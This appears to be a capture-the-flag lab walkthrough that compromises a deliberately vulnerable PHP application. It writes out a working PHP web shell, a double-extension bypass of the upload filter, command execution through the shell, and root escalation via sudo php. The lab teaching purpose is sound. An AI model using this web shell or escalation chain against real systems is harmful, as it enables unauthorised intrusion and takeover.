A PHP web application handles file operations and uploads with insufficient security controls. Through careful analysis of file inclusion mechanisms and upload restrictions, skilled attackers can transform seemingly harmless functionality into powerful attack vectors. 🎯 Time to demonstrate file exploitation techniques!
Launch your dedicated AWS machine to begin hacking
Begin with port scanning to identify running services:
# Port scan reveals HTTP services and SSH
nmap -Pn -sC -sV -p- <target-ip>
# Expected services:
# 22/tcp - SSH
# 80/tcp - HTTP (Status Page)
# 8080/tcp - HTTP (Main PHP Application)
Port 80 shows a status page, port 8080 hosts the main HTTP application, and SSH is available on port 22.
Explore the web application and perform file enumeration:
# Visit the main application
curl http://<target-ip>:8080
# Perform file enumeration using SecLists raft wordlist
# Note: The application returns 200 for non-existent URLs, so exclude common response length
gobuster dir -u http://<target-ip>:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --exclude-length 2664
# Alternative with common wordlists:
dirsearch -u http://<target-ip>:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http://<target-ip>:8080/FUZZ -fs 2664
File enumeration reveals the notes.txt file containing developer notes.
Access the discovered notes file to find development information:
# Read the developer notes
curl http://<target-ip>:8080/notes.txt
# Contents reveal:
# Dev Notes:
# - Remove /upload_log_temp4.php before prod
# - Database creds: root:Password123! (change before going live)
# - Fix contact form
# - Disable debug
# - Check Apache conf
The notes.txt file reveals the existence of /upload_log_temp4.php endpoint that should be removed before production.
Access the development endpoint discovered in the notes:
# Access the developer portal mentioned in notes
curl http://<target-ip>:8080/upload_log_temp4.php
# The endpoint provides file upload functionality
# Shows "Developer Portal" with upload feature
The upload_log_temp4.php endpoint contains a developer portal with file upload functionality.
Access the discovered development endpoint and analyze file upload functionality:
# Access the development endpoint
curl http://<target-ip>:8080/upload_log_temp4.php
# Discover file upload feature with restrictions
# Only .txt files are allowed for upload
The file upload feature only allows .txt file extensions, requiring a bypass technique.
Bypass file upload restrictions using double extension technique:
# Create PHP web shell
cat > shell.txt.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
# Upload the web shell using double extension bypass
curl -X POST -F "file=@shell.txt.php" http://<target-ip>:8080/upload_log_temp4.php
# The uploaded webshell has extension: .txt.php
The bypass uses .txt.php extension to circumvent the .txt-only restriction while maintaining PHP execution capability.
Locate and access the uploaded web shell:
# Find uploaded files in default upload directory
curl http://<target-ip>:8080/uploads/
# Execute commands through the web shell
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=id"
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=whoami"
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=ls%20-la%20/home"
Uploaded files are stored in /uploads directory, and commands are executed using the ?cmd parameter.
Use the web shell to enumerate the system and locate flags:
# Enumerate home directories
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=ls%20-la%20/home/ctf"
# Find and read the user flag
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=cat%20/home/ctf/flag-user.txt"
# Discover additional files
curl "http://<target-ip>:8080/uploads/shell.txt.php?cmd=cat%20/home/ctf/dev_notes.txt"
The user flag is stored in /home/ctf, and dev_notes.txt contains a possible password for SSH access.
Use the password found in dev_notes.txt to gain SSH access:
# SSH login as ctf user
ssh ctf@<target-ip>
# Password from dev_notes.txt file
# Verify access and read user flag directly
cat /home/ctf/flag-user.txt
The ctf user can be accessed via SSH using the password discovered in the dev_notes.txt file.
Enumerate sudo privileges to identify escalation opportunities:
# Check sudo privileges
sudo -l
# Reveals user can run 3 binaries as sudo:
# /bin/ls, /usr/bin/file, /usr/bin/php
# In alphabetical order: file,ls,php
The sudo -l command reveals that the ctf user can run 3 binaries with sudo privileges: file,ls,php.
Exploit PHP sudo privileges to gain root access:
# Use PHP for privilege escalation
sudo php -r "system('/bin/sh');"
# Alternative command execution
sudo php -r "system('whoami');"
sudo php -r "system('id');"
# Retrieve root flag
cat /root/flag-root.txt
PHP can be used for privilege escalation, and the privilege escalation command is sudo php -r "system('/bin/sh');".
With root access, locate and retrieve the root flag:
# Root flag is located at /root/flag-root.txt
find%20/%20-name%20"flag-root.txt"%202>/dev/null
cat /root/flag-root.txt
The root flag is located in /root/flag-root.txt.
The complete attack chain involves:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.